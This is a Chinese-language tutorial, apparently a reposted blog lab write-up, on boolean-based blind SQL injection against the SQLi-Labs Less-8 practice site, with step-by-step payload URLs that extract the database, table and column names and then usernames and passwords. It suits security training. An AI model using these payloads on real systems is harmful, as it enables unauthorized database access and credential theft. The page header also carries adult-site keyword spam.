日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入——基于布尔的盲注(八)

發布時間:2023/12/18 数据库 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入——基于布尔的盲注(八) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

本章目的

普及布爾盲注技術的運用場景及條件,熟悉length()、substr()、ascii()等函數的用法,掌握基于布爾的盲注基本流程。PS:面試回答主要為對錯論

基本概念

盲注
在SQL注入過程中,SQL語句執行后,選擇的數據不能回顯到前端頁面,此時需要利用一些
方法進行判斷或者嘗試,這個過程稱之為盲注。
>在盲注中,攻擊者根據其返回頁面的不同來判斷信息(可能是頁面內容的不同,也可以是響
應時間不同)。一般情況下,盲注可分為兩類
基于布爾的盲注(Booleanbased)
基于時間的盲注(Timebased)

基于布爾的育注
>某些場合下,頁面返回的結果只有兩種(正常或錯誤)。通過構造SQL判斷語句,查看頁面的返回結果(TrueorFalse)來判斷哪些SQL判斷條件成立,通過此來獲取數據庫中的數據。
基于時間的盲注
>又稱延時注入,即使用具有延時功能的函數sleep、benchmark等,通過判斷這些函數是否正常執行來獲取數據庫中的數據

盲注常用函數

if()
功能:條件判斷。
語法格式:if(expr1,expr2,expr3):expr1為true則返回expr2,expr1為false則返回expr3。
注:僅MySQL支持if(expr1,expr2,expr3)。

left()
功能:截取具有指定長度的字符串的左邊部分。
語法格式:left(strlength),如果str或length參數為NULL,則返回NULL值。
參數說明
str:要提取子串的字符串。
length:正整數,指定將從左邊返回的字符數。length為0或為負,則LEFT返回一個空字符串
length大于str字符串的長度,則leftO返回整個str字符串。

length()
功能:返回字符串的長度,以字節為單位。
語法格式:length(str)

substr()、substring()
功能:從指定的位置開始,截取字符串指定長度的子串。
語法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)substring(str,pos,len)
參數說明
str:要提取子串的字符串。
pos:提取子串的開始位置
len:指定要提取的子串的長度

ascii()、ord()
功能:返回字符串最左邊字符的ASCII碼值
語法格式:ascii(str),ord(str)

cast()、convert()
功能:獲取一個類型的值,并產生另一個類型的值。
>語法格式:cast(value as type),convert(value,type)

可轉換的值類型
二進制,同帶binary前綴的效果:BINARY
字符型,可帶參數:CHARO
日期:DATE
時間:TIME
日期時間型:DATETIME
浮點數:DECIMAL
整數:SIGNED
無符號整數:UNSIGNED

延時函數sleep()
功能:讓語句延退執行一段時間,執行成功后返回0。
語法格式:sleep(N),即延退執行N秒。

延時函數benchmark()
功能:讓某語句執行一定的次數,執行成功后返回0。
語法格式:benchmark(coun,texpr),即讓expr執行count次
注:僅MySQL支持該函數。

實驗環境
攻擊機:Pentest-Atk
(1)操作系統:Windows10
(2)安裝的應用軟件:sqlmap 、Burpsuite 、FireFox瀏覽器及其插件Hackbar 、 等

(3)登錄賬號密碼:操作系統帳號Administrator,密碼?》《6
靶機:A-SQLi-Labs
(1)操作系統:本機(建議用虛擬機)不過我太懶了[]~( ̄▽ ̄)~*
(2)安裝的應用軟件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞網站環境
(3)登錄賬號密碼:操作系統帳號root,密碼0145632

實驗原理

(1)關于布爾盲注
某些場合下,頁面返回的結果只有兩種(正常或錯誤)。通過構造SQL判斷語句,查看頁面的返回結果(True or False)來判斷哪些SQL判斷條件成立,通過此來獲取數據庫中的數據。
(2)一些功能函數的說明
length(str):返回字符串(str)的長度,以字節為單位。
substr(str,pos,len):從指定的位置(pos)開始,截取并返回字符串(str)指定
長度(len)的子串。
asci(str):返回字符串(str)最左邊字符的ASCII碼。

實驗步驟

本實驗的目標是:以SQLi-Labs網站的Less-8為入口,利用基于布爾的盲注方
式獲取SQLi-Labs網站的登錄用戶名和密碼。

1.訪間SQLi-Labs網站
在攻擊機Pentest-Atk打開FireFox瀏覽器,并訪問靶機A-SQLi-Labs上的
SQLi-Labs網站Less-18。訪問的URL為:

http://[靶機IP]/sqli-labs/less-18/

(行吧,復制粘貼好像也不需要注意什么大小寫)

說明:本實驗環境中FireFox瀏覽器已預安裝Hackbar插件,在FireFox界面
按下鍵盤上的F9鍵啟用或停用(本實驗環境中默認為啟用狀態)。建議在注入
過程中用Hackbar插件來調整payload參數!
沒有的點我參考 ??? 瀏覽器加載插件

登錄后,根據網頁提示,給定一個?id=1的參數,即:

http://[靶機IP]/sqli-labs/less-18/?id=1

此時頁面顯示信息為Youare in.,顯示狀態為True

PS:右上角是我的翻譯,有時候你們發現和我不太一樣不用疑惑

如果給定一個zid=-1的參數,即:

?http://[靶機IP]/sqli-labs/less-18/?id=-1

此時頁面顯示信息為空,顯示狀態為False。

可以繼續給定不同的id參數進行嘗試,發現頁面的顯示結果只有兩種:True或False。由此可以判斷,這是一種典型的布爾盲注場景。

2.尋找注入點
分別使用以下3條payload尋找注入點及判斷注入點的類型:

?http://[靶機IP]/sqli-labs/less-18/?id=1'

運行后頁面顯示為False!

?http://[靶機IP]/sqli-labs/less-18/?id=1'1

?運行后頁面顯示為True!

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and '1'='2

運行后頁面顯示為False!

由上述結果可以判斷,網站存在字符型注入點。
3.盲猜網站當前所在數據庫的庫名長度
假設當前所在數據庫的庫名長度為N,嘗試使用判斷語句
length(database())=M,不斷變化M的值去猜測,如果M不等于N,頁面應該
顯示為False:如果M等于N,頁面應該顯示為True。
例如執行如下payload

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=7--+

顯示結果為False,說明網站當前所在數據庫的庫名長度不是7個字符!

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8--+

顯示結果為True,說明網站當前所在數據庫的庫名長度為8個字符!

4.盲猜網站當前所在數據庫的庫名字符串
本步驟通過逐個字母盲猜的方式進行。
假設庫名字符串的第1個字母為a,那么條件判斷語句substr(庫名字符串,1,1)='a'以及asci(substr(庫名字符串,1,1))=97返回的結果均應為True(小寫字母a的ASCI碼為97)假設庫名字符串的第2個字母為b,那么條件判斷語句substr(庫名字符串,2,1))='b'以及asci(substr(庫名字符串,2,1)=98返回的結果均應為True(小寫字母b的ASCII碼為98)
以此類推。
猜測庫名的第1個字母:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),1,1)="s"--+

或是

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

猜測庫名的第2個字母:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),2,1)='e'--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

庫名的第2個字母為e。

?以此類推,最終得到的字符串結果為 security

5.盲猜數據庫 security的全部表名

(1)猜測第1張表的表名

猜測第1張表的表名的第1個字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+

或:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

第1張表的表名的第1個字符為e

?猜測第1張表的表名的第2個字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m'--+

或者

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+

?第1張表的表名的第2個字符為m,以此類推,得到 security庫中的第1張表的名字為 emails

(2)猜測第2張表的表名

猜測第2張表的表名的第1個字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r'--+

or

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+

第2張表的表名的第1個字符為r

?猜測第2張表的表名的第2個字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e'--+ http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+

第2張表的表名的第2個字符為e。

以此類推,得到security庫中的第2張表的名字為referers。
依據上述方法,通過不斷變換limit和substr()函數中的參數,可以最終得到security庫中所有表的表名:emails、referers、uagents和users。其中,第4張表users當中可能存放著網站用戶的基本信息

6.盲猜 users表的全部字段名

(1)猜測第1個字段名

猜測第1個字段名的第1個字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+ http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+


第1個字段名的第1個字符為i

猜測第1個字段名的第2個字符為d

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),2,1)= 'd' --+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),2,1))= 100--+

?第1個字段名的第2個字符為d

?以此類推,得到 users表中的第1個字段名為id

依據上述方法,通過不斷變換limit和 substr()函數中的參數,可以最終得到 users表中所有字段名:id、 username和 password

7.盲猜 users表 username和 password字段的全部值

(1)猜測第1組數據

猜測第1組數據的第1個字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D'--+

or

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68--+

?第1組數據的第1個字符為D。

猜測第1組數據的第2個字符;

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u'--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117--+

?第1組數據的第2個字符為u。

以此類推,得到第1組數據為Dump.Dump。
注意:字符串中的逗號(,)也是需要進行猜測比對的!例如第1組數據的第5個字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=','--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44--+

?(2)猜測第2組數據
猜測第2組數據的第1個字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1)='A'--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65--+

第2組數據的第1個字符為A。

?猜測第2組數據的第2個字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n'--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110--+

第2組數據的第2個字符為n。

?........

以此類推,得到第2組數據為"Angelina,l-kill-you"
依據上述方法,通過不斷變換limit()和substr()函數中的參數,可以最終得到users
表中username和password字段的全部值。

SQL注入 ——sql數據庫操作基礎(一)_Gjqhs的博客-CSDN博客

SOL注入——HTTP頭部注入(六)_Gjqhs的博客-CSDN博客

SQL注入——基于報錯的注入(五)_Gjqhs的博客-CSDN博客

...

更多包括而不限于SQL注入的文章,關注我全部帶走吧( ?? ω ?? )?

總結

以上是生活随笔為你收集整理的SQL注入——基于布尔的盲注(八)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。